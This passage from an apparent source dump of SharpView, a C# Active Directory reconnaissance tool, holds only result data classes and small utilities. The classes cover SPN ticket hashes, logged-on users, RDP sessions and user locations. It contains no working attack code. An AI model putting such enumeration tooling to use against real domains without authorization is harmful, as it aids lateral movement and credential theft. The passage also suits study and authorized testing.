System.Text; 7 | using System.Threading.Tasks; 8 | 9 | namespace SharpView.Returns 10 | { 11 | public class DFSShare 12 | { 13 | public string Name { get; set; } 14 | 15 | public string RemoteServerName { get; set; } 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/DNSRecord.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | using System.Security.AccessControl; 6 | using System.Security.Principal; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Returns 11 | { 12 | public class DNSRecord 13 | { 14 | public DnsRecordType? RecordType { get; set; } 15 | 16 | public uint? UpdatedAtSerial { get; set; } 17 | 18 | public uint? TTL { get; set; } 19 | 20 | public uint? Age { get; set; } 21 | 22 | public object TimeStamp { get; set; } // DateTime or string ("[static]") 23 | 24 | public string Data { get; set; } 25 | 26 | public string ZoneName { get; set; } 27 | 28 | public string name { get; set; } 29 | 30 | public string distinguishedname { get; set; } 31 | 32 | public object dnsrecord { get; set; } 33 | 34 | public DateTime? whencreated { get; set; } 35 | 36 | public DateTime? whenchanged { get; set; } 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/DomainPolicyData.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpView.Returns 8 | { 9 | public class DomainPolicyData : GptTmpl 10 | { 11 | public string GPOName { get; set; } 12 | 13 | public string GPODisplayName { get; set; } 14 | 15 | public DomainPolicyData() 16 | { 17 | 18 | } 19 | 20 | public DomainPolicyData(Dictionary> obj) : base(obj) 21 | { 22 | } 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/ExplicitCredentialLogonEvent.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Interfaces; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace SharpView.Returns 9 | { 10 | public class ExplicitCredentialLogonEvent : IWinEvent 11 | { 12 | public string ComputerName { get; set; } 13 | 14 | public DateTime? TimeCreated { get; set; } 15 | 16 | public int EventId { get; set; } 17 | 18 | public string SubjectDomainName { get; set; } 19 | 20 | public string SubjectLogonId { get; set; } 21 | 22 | public string SubjectUserName { get; set; } 23 | 24 | public string SubjectUserSid { get; set; } 25 | 26 | public string TargetDomainName { get; set; } 27 | 28 | public string TargetLogonId { get; set; } 29 | 30 | public string TargetLogonGuid { get; set; } 31 | 32 | public string TargetUserName { get; set; } 33 | 34 | public string TargetUserSid { get; set; } 35 | 36 | public string TargetServerName { get; set; } 37 | 38 | public string LogonGuid { get; set; } 39 | 40 | public string TargetInfo { get; set; } 41 | 42 | public string ProcessId { get; set; } 43 | 44 | public string ProcessName { get; set; } 45 | 46 | public string IpAddress { get; set; } 47 | 48 | public string IpPort { get; set; } 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/FileACL.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Security.AccessControl; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | using static SharpView.Utils.NativeMethods; 8 | 9 | namespace SharpView.Returns 10 | { 11 | public class FileACL 12 | { 13 | public string Path { get; set; } 14 | public string FileSystemRights { get; set; } 15 | public IEnumerable IdentityReference { get; set; } 16 | public string IdentitySID { get; set; } 17 | public AccessControlType AccessControlType { get; set; } 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/Filter.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpView.Returns 8 | { 9 | public class Filter 10 | { 11 | public string Type { get; set; } 12 | 13 | public string Value { get; set; } 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/ForeignGroupMember.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | using System.Security.AccessControl; 6 | using System.Security.Principal; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Returns 11 | { 12 | public class ForeignGroupMember 13 | { 14 | public string GroupDomain { get; set; } 15 | 16 | public string GroupName { get; set; } 17 | 18 | public string GroupDistinguishedName { get; set; } 19 | 20 | public string MemberDomain { get; set; } 21 | 22 | public string MemberName { get; set; } 23 | 24 | public string MemberDistinguishedName { get; set; } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/ForeignUser.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | using System.Security.AccessControl; 6 | using System.Security.Principal; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Returns 11 | { 12 | public class ForeignUser 13 | { 14 | public string UserDomain { get; set; } 15 | 16 | public string UserName { get; set; } 17 | 18 | public string UserDistinguishedName { get; set; } 19 | 20 | public string GroupDomain { get; set; } 21 | 22 | public string GroupName { get; set; } 23 | 24 | public string GroupDistinguishedName { get; set; } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/ForestEx.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpView.Returns 8 | { 9 | public class ForestEx 10 | { 11 | public System.DirectoryServices.ActiveDirectory.Forest Forest { get; set; } 12 | public string RootDomainSid { get; set; } 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/FoundFile.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpView.Returns 8 | { 9 | public class FoundFile 10 | { 11 | public string Path { get; set; } 12 | public string Owner { get; set; } 13 | public DateTime LastAccessTime { get; set; } 14 | public DateTime LastWriteTime { get; set; } 15 | public DateTime CreationTime { get; set; } 16 | public long Length { get; set; } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/GPO.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpView.Returns 8 | { 9 | public class GPO : LDAPProperty 10 | { 11 | public string gpcfilesyspath { get; set; } 12 | 13 | public GPO() 14 | { 15 | 16 | } 17 | 18 | public GPO(LDAPProperty property) 19 | :base(property) 20 | { 21 | } 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/GPOComputerLocalGroupMember.cs: -------------------------------------------------------------------------------- 1 |  2 | 3 | using SharpView.Enums; 4 | using System; 5 | using System.Collections.Generic; 6 | using System.Linq; 7 | using System.Security.AccessControl; 8 | using System.Security.Principal; 9 | using System.Text; 10 | using System.Threading.Tasks; 11 | 12 | namespace SharpView.Returns 13 | { 14 | public class GPOComputerLocalGroupMember 15 | { 16 | public IEnumerable ComputerName { get; set; } 17 | 18 | public string ObjectName { get; set; } 19 | 20 | public string ObjectDN { get; set; } 21 | 22 | public string[] ObjectSID { get; set; } 23 | 24 | public bool IsGroup { get; set; } 25 | 26 | public string GPODisplayName { get; set; } 27 | 28 | public string GPOGuid { get; set; } 29 | 30 | public string GPOPath { get; set; } 31 | 32 | public string GPOType { get; set; } 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/GPOGroup.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | using System.Security.AccessControl; 6 | using System.Security.Principal; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Returns 11 | { 12 | public class GPOGroup 13 | { 14 | public string GPODisplayName { get; set; } 15 | 16 | public string GPOName { get; set; } 17 | 18 | public string GPOPath { get; set; } 19 | 20 | public string GPOType { get; set; } 21 | 22 | public IEnumerable Filters { get; set; } 23 | 24 | public string GroupName { get; set; } 25 | 26 | public string GroupSID { get; set; } 27 | 28 | public IEnumerable GroupMemberOf { get; set; } 29 | 30 | public IEnumerable GroupMembers { get; set; } 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/GPOLocalGroupMapping.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | using System.Security.AccessControl; 6 | using System.Security.Principal; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Returns 11 | { 12 | public class GPOLocalGroupMapping 13 | { 14 | public string GPODisplayName { get; set; } 15 | 16 | public string GPOName { get; set; } 17 | 18 | public string GPOPath { get; set; } 19 | 20 | public string GPOType { get; set; } 21 | 22 | public IEnumerable Filters { get; set; } 23 | 24 | public string GroupName { get; set; } 25 | 26 | public string GroupSID { get; set; } 27 | 28 | public IEnumerable GroupMemberOf { get; set; } 29 | 30 | public IEnumerable GroupMembers { get; set; } 31 | 32 | public string ObjectName { get; set; } 33 | 34 | public string ObjectDN { get; set; } 35 | 36 | public string[] ObjectSID { get; set; } 37 | 38 | public string Domain { get; set; } 39 | 40 | public bool IsGroup { get; set; } 41 | 42 | public string GPOGuid { get; set; } 43 | 44 | public string ContainerName { get; set; } 45 | 46 | public IEnumerable ComputerName { get; set; } 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/GptTmpl.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpView.Returns 8 | { 9 | public class GptTmpl : Dictionary> 10 | { 11 | public string Path { get; set; } 12 | 13 | public GptTmpl() 14 | { 15 | 16 | } 17 | 18 | public GptTmpl(Dictionary> obj) 19 | { 20 | foreach (var value in obj) 21 | { 22 | Add(value.Key, value.Value); 23 | } 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/GroupMember.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | using System.Security.AccessControl; 6 | using System.Security.Principal; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Returns 11 | { 12 | public class GroupMember 13 | { 14 | public string GroupDomain { get; set; } 15 | 16 | public string GroupName { get; set; } 17 | 18 | public string GroupDistinguishedName { get; set; } 19 | 20 | public string MemberDomain { get; set; } 21 | 22 | public string MemberName { get; set; } 23 | 24 | public string MemberDistinguishedName { get; set; } 25 | 26 | public string MemberObjectClass { get; set; } 27 | 28 | public string MemberSID { get; set; } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/GroupsXML.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpView.Returns 8 | { 9 | public class GroupsXML 10 | { 11 | public string GPOPath { get; set; } 12 | 13 | public IEnumerable Filters { get; set; } 14 | 15 | public string GroupName { get; set; } 16 | 17 | public string GroupSID { get; set; } 18 | 19 | public IEnumerable GroupMemberOf { get; set; } 20 | 21 | public IEnumerable GroupMembers { get; set; } 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/LastLoggedOnUser.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpView.Returns 8 | { 9 | public class LastLoggedOnUser 10 | { 11 | public string ComputerName { get; set; } 12 | 13 | public string LastLoggedOn { get; set; } 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/LdapDomainTrust.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using SharpView.Interfaces; 3 | using System.DirectoryServices.ActiveDirectory; 4 | 5 | namespace SharpView.Returns 6 | { 7 | public class LdapDomainTrust : IDomainTrust 8 | { 9 | public string SourceName { get; set; } 10 | 11 | public string TargetName { get; set; } 12 | 13 | public TrustType TrustType { get; set; } 14 | 15 | public TrustDirection TrustDirection { get; set; } 16 | 17 | public TrustAttribute TrustAttributes { get; set; } 18 | 19 | public object WhenCreated { get; set; } 20 | 21 | public object WhenChanged { get; set; } 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/LocalGroupAPI.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | using static SharpView.Utils.NativeMethods; 7 | 8 | namespace SharpView.Returns 9 | { 10 | public class LocalGroupAPI 11 | { 12 | public string ComputerName { get; set; } 13 | public string GroupName { get; set; } 14 | public string Comment { get; set; } 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/LocalGroupMemberAPI.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | using static SharpView.Utils.NativeMethods; 7 | 8 | namespace SharpView.Returns 9 | { 10 | public class LocalGroupMemberAPI 11 | { 12 | public string ComputerName { get; set; } 13 | public string GroupName { get; set; } 14 | public string MemberName { get; set; } 15 | public string SID { get; set; } 16 | public bool IsGroup { get; set; } 17 | public string IsDomain { get; set; } 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/LocalGroupMemberWinNT.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | using static SharpView.Utils.NativeMethods; 7 | 8 | namespace SharpView.Returns 9 | { 10 | public class LocalGroupMemberWinNT 11 | { 12 | public string ComputerName { get; set; } 13 | public string GroupName { get; set; } 14 | public string AccountName { get; set; } 15 | public string SID { get; set; } 16 | public bool IsGroup { get; set; } 17 | public bool IsDomain { get; set; } 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/LocalGroupWinNT.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | using static SharpView.Utils.NativeMethods; 7 | 8 | namespace SharpView.Returns 9 | { 10 | public class LocalGroupWinNT 11 | { 12 | public string ComputerName { get; set; } 13 | public string GroupName { get; set; } 14 | public string SID { get; set; } 15 | public string Comment { get; set; } 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/LoggedOnUserInfo.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | using static SharpView.Utils.NativeMethods; 7 | 8 | namespace SharpView.Returns 9 | { 10 | public class LoggedOnUserInfo 11 | { 12 | public string UserName { get; set; } 13 | public string LogonDomain { get; set; } 14 | public string AuthDomains { get; set; } 15 | public string LogonServer { get; set; } 16 | public string ComputerName { get; set; } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/ManagedSecurityGroup.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | using System.Security.AccessControl; 6 | using System.Security.Principal; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpView.Returns 11 | { 12 | public class ManagedSecurityGroup 13 | { 14 | public string GroupName { get; set; } 15 | 16 | public string GroupDistinguishedName { get; set; } 17 | 18 | public string ManagerName { get; set; } 19 | 20 | public string ManagerDistinguishedName { get; set; } 21 | 22 | public ManagerType? ManagerType { get; set; } 23 | 24 | public string ManagerCanWrite { get; set; } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/NetDomainTrust.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Interfaces; 2 | using System.DirectoryServices.ActiveDirectory; 3 | 4 | namespace SharpView.Returns 5 | { 6 | public class NetDomainTrust : IDomainTrust 7 | { 8 | public string SourceName { get; set; } 9 | public string TargetName { get; set; } 10 | public TrustDirection TrustDirection { get; set; } 11 | public TrustType TrustType { get; set; } 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/PrincipalContextEx.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | using static SharpView.Utils.NativeMethods; 7 | 8 | namespace SharpView.Returns 9 | { 10 | public class PrincipalContextEx 11 | { 12 | public System.DirectoryServices.AccountManagement.PrincipalContext Context { get; set; } 13 | 14 | public string Identity { get; set; } 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/PropertyOutlier.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpView.Returns 8 | { 9 | public class PropertyOutlier 10 | { 11 | public string SamAccountName { get; set; } 12 | public string Property { get; set; } 13 | public object Value { get; set; } 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/ProxySettings.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpView.Returns 8 | { 9 | public class ProxySettings 10 | { 11 | public string ComputerName { get; set; } 12 | 13 | public string ProxyServer { get; set; } 14 | 15 | public string AutoConfigURL { get; set; } 16 | 17 | public string Wpad { get; set; } 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/RDPSessionInfo.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | using static SharpView.Utils.NativeMethods; 7 | 8 | namespace SharpView.Returns 9 | { 10 | public class RDPSessionInfo 11 | { 12 | public string ComputerName { get; set; } 13 | 14 | public string SessionName { get; set; } 15 | 16 | public string UserName { get; set; } 17 | 18 | public Int32 ID { get; set; } 19 | 20 | public WTS_CONNECTSTATE_CLASS State { get; set; } 21 | 22 | public string SourceIP { get; set; } 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/RegLoggedOnUser.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpView.Returns 8 | { 9 | public class RegLoggedOnUser 10 | { 11 | public string ComputerName { get; set; } 12 | 13 | public string UserDomain { get; set; } 14 | 15 | public string UserName { get; set; } 16 | 17 | public string UserSID { get; set; } 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/RegMountedDrive.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpView.Returns 8 | { 9 | public class RegMountedDrive 10 | { 11 | public string ComputerName { get; set; } 12 | 13 | public string UserName { get; set; } 14 | 15 | public string UserSID { get; set; } 16 | 17 | public string DriveLetter { get; set; } 18 | 19 | public string ProviderName { get; set; } 20 | 21 | public string RemotePath { get; set; } 22 | 23 | public string DriveUserName { get; set; } 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/ResolvedSID.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpView.Returns 8 | { 9 | public class ResolvedSID 10 | { 11 | public string IdentityReferenceName { get; set; } 12 | 13 | public string IdentityReferenceDomain { get; set; } 14 | 15 | public string IdentityReferenceDN { get; set; } 16 | 17 | public string IdentityReferenceClass { get; set; } 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/SPNTicket.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpView.Returns 8 | { 9 | public class SPNTicket 10 | { 11 | public string TicketByteHexStream { get; set; } 12 | 13 | public string Hash { get; set; } 14 | 15 | public string SamAccountName { get; set; } 16 | 17 | public string DistinguishedName { get; set; } 18 | 19 | public string ServicePrincipalName { get; set; } 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/SessionInfo.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | using static SharpView.Utils.NativeMethods; 7 | 8 | namespace SharpView.Returns 9 | { 10 | public class SessionInfo 11 | { 12 | public string ComputerName { get; set; } 13 | public string CName { get; set; } 14 | public string UserName { get; set; } 15 | public uint Time { get; set; } 16 | public uint IdleTime { get; set; } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/ShareInfo.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | using static SharpView.Utils.NativeMethods; 7 | 8 | namespace SharpView.Returns 9 | { 10 | public class ShareInfo 11 | { 12 | public string Name { get; set; } 13 | public uint Type { get; set; } 14 | public string Remark { get; set; } 15 | public string ComputerName { get; set; } 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/UserLocation.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpView.Returns 8 | { 9 | public class UserLocation 10 | { 11 | public string UserDomain { get; set; } 12 | public string UserName { get; set; } 13 | public string ComputerName { get; set; } 14 | public string IPAddress { get; set; } 15 | public string SessionFrom { get; set; } 16 | public string SessionFromName { get; set; } 17 | public bool LocalAdmin { get; set; } 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /SharpView/SharpView/Returns/UserProcess.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpView.Returns 8 | { 9 | public class UserProcess 10 | { 11 | public string ComputerName { get; set; } 12 | 13 | public string ProcessName { get; set; } 14 | 15 | public string ProcessID { get; set; } 16 | 17 | public string Domain { get; set; } 18 | 19 | public string User { get; set; } 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /SharpView/SharpView/Utils/NetworkCredentialConverter.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Globalization; 5 | using System.Linq; 6 | using System.Text; 7 | using System.Threading.Tasks; 8 | 9 | namespace SharpView.Utils 10 | { 11 | public class NetworkCredentialConverter : TypeConverter 12 | { 13 | public override bool CanConvertFrom(ITypeDescriptorContext context, Type sourceType) 14 | { 15 | if (sourceType == typeof(System.Net.NetworkCredential)) 16 | { 17 | return true; 18 | } 19 | 20 | return base.CanConvertFrom(context, sourceType); 21 | } 22 | 23 | public override object ConvertFrom(ITypeDescriptorContext context, CultureInfo culture, object value) 24 | { 25 | string s = value as string; 26 | 27 | if (!string.IsNullOrEmpty(s)) 28 | { 29 | string user = string.Empty, password = string.Empty; 30 | var posPass = s.IndexOf("/"); 31 | if (posPass >= 0) 32 | { 33 | user = s.Substring(0, posPass); 34 | password = s.Substring(posPass + 1); 35 | } 36 | else user = s; 37 | return new System.Net.NetworkCredential(user, password); 38 | } 39 | 40 | return base.ConvertFrom(context, culture, value); 41 | } 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /SharpView/SharpView/Utils/ReflectionExtension.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpView.Utils 8 | { 9 | public static class ReflectionExtension 10 | { 11 | public static T GetPropValue(this object obj, string propName) 12 | { 13 | return (T)obj.GetType().GetProperty(propName)?.GetValue(obj, null); 14 | } 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /SharpView/SharpView/Utils/ResultPropertyValueCollectionExtension.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.DirectoryServices; 4 | using System.Linq; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace SharpView.Utils 9 | { 10 | public static class ResultPropertyValueCollectionExtension 11 | { 12 | public static IEnumerable GetValues(this ResultPropertyValueCollection collection) 13 | { 14 | var values = new List(); 15 | foreach (T value in collection) 16 | { 17 | values.Add(value); 18 | } 19 | return values; 20 | } 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /SharpView/SharpView/Utils/StringArrayConverter.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Globalization; 5 | using System.Linq; 6 | using System.Text; 7 | using System.Threading.Tasks; 8 | 9 | namespace SharpView.Utils 10 | { 11 | public class StringArrayConverter : ArrayConverter 12 | { 13 | public override bool CanConvertFrom(ITypeDescriptorContext context, Type sourceType) 14 | { 15 | if (sourceType == typeof(string)) 16 | { 17 | return true; 18 | } 19 | 20 | return base.CanConvertFrom(context, sourceType); 21 | } 22 | 23 | public override object ConvertFrom(ITypeDescriptorContext context, CultureInfo culture, object value) 24 | { 25 | string s = value as string; 26 | 27 | if (!string.IsNullOrEmpty(s)) 28 | { 29 | return ((string)value).Split(','); 30 | } 31 | 32 | return base.ConvertFrom(context, culture, value); 33 | } 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /SharpView/SharpView/Utils/StringExtension.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpView.Utils 8 | { 9 | public static class StringExtension 10 | { 11 | public static string ShortenString(this string s, int length) 12 | { 13 | string ret; 14 | if (s.Length > length) 15 | { 16 | ret = s.Substring(0, length - 3); 17 | ret = ret.PadRight(length, '.'); 18 | } 19 | else 20 | ret = s; 21 | 22 | ret = ret.PadRight(length, ' '); 23 | return ret; 24 | } 25 | 26 | public static string ToJoinedString(this string[] ss, string separator = ",") 27 | { 28 | return string.Join(separator, ss); 29 | } 30 | 31 | public static bool ContainsNoCase(this string[] ss, string pattern) 32 | { 33 | return ss.Any(x => x.Equals(pattern, StringComparison.OrdinalIgnoreCase)); 34 | } 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /SharpView/SharpView/Utils/TestConnection.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Net.NetworkInformation; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace SharpView.Utils 9 | { 10 | public static class TestConnection 11 | { 12 | public static bool Ping(string host, int count = 1) 13 | { 14 | Ping pingSender = new Ping(); 15 | PingOptions options = new PingOptions(); 16 | 17 | options.DontFragment = true; 18 | 19 | byte[] data = { 0x20, 0x20 }; 20 | int timeout = 120; 21 | 22 | for (int i = 0; i < count; i++) 23 | { 24 | try 25 | { 26 | PingReply reply = pingSender.Send(host, timeout, data, options); 27 | if (reply.Status == IPStatus.Success) 28 | { 29 | return true; 30 | } 31 | } 32 | catch 33 | { 34 | } 35 | } 36 | 37 | return false; 38 | } 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /SharpView/SharpView/Utils/TrustAttributeExtension.cs: -------------------------------------------------------------------------------- 1 | using SharpView.Enums; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace SharpView.Utils 9 | { 10 | public static class TrustAttributeExtension 11 | { 12 | public static IEnumerable ExtractValues(this TrustAttribute attr) 13 | { 14 | var ui32 = (UInt32)attr; 15 | var values = new List(); 16 | for (int i = 0; i < ui32; i++) 17 | { 18 | var val = ui32 & ((UInt64)1 << i); 19 | if (val != 0) 20 | values.Add((TrustAttribute)val); 21 | } 22 | return values; 23 | } 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /SharpView/SharpView/Utils/ValidationExtension.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpView.Utils 8 | { 9 | public static class ValidationExtension 10 | { 11 | public static bool IsNullOrWhiteSpace(this string s) 12 | { 13 | return string.IsNullOrWhiteSpace(s); 14 | } 15 | 16 | public static bool IsNotNullOrWhiteSpace(this string s) 17 | { 18 | return !IsNullOrWhiteSpace(s); 19 | } 20 | 21 | public static bool IsNullOrEmpty(this string s) 22 | { 23 | return string.IsNullOrEmpty(s); 24 | } 25 | 26 | public static bool IsNotNullOrEmpty(this string s) 27 | { 28 | return !IsNullOrEmpty(s); 29 | } 30 | } 31 | } 32 | 